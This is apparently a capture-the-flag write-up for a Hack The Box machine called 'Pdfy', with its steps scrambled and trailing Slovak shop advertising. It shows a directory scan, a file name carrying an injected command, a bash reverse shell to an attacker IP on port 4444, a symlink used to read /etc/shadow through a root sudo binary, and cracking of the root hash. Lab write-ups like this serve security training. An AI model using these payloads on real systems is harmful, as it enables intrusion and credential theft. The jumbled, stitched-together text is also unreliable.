Pdfy Htb Writeup -
Directory scan:
ln -s /etc/shadow shadow.pdf Run:
Crack root hash with John the Ripper:
gobuster dir -u http://10.10.10.116 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt Found: /uploads , /index.php The PDF converter likely uses a command-line tool like pdftotext . A command injection vulnerability exists in the filename handling. Test Injection Create a simple PDF and rename it to:
mv test.pdf "test.pdf; ping -c 4 10.10.14.XX" Upload the file. A ping request is received on attacker machine → command injection confirmed. Rename PDF to: Pdfy Htb Writeup
sudo /usr/local/bin/pdfy Enter shadow.pdf → outputs /etc/shadow as text.
mv shell.pdf "shell.pdf; bash -c 'bash -i >& /dev/tcp/10.10.14.XX/4444 0>&1'" Upload → listener catches shell as www-data . Enumeration as www-data Check sudo rights: Directory scan: ln -s /etc/shadow shadow
sudo -l User www-data can run /usr/local/bin/pdfy as root without password. Running /usr/local/bin/pdfy asks for a PDF filename and converts it. It uses a system call to pdftotext – but with no sanitization. Exploitation Create a symlink to /etc/shadow as a PDF:
Doprava zadarmo už od 39 €
Široký výber. Ponúkame viac ako 48000 produktov.
U nás máte čas. Tovar môžete vrátiť do 30 dní.
Odmeníme Vás. Za každý nákup získate vernostné body.
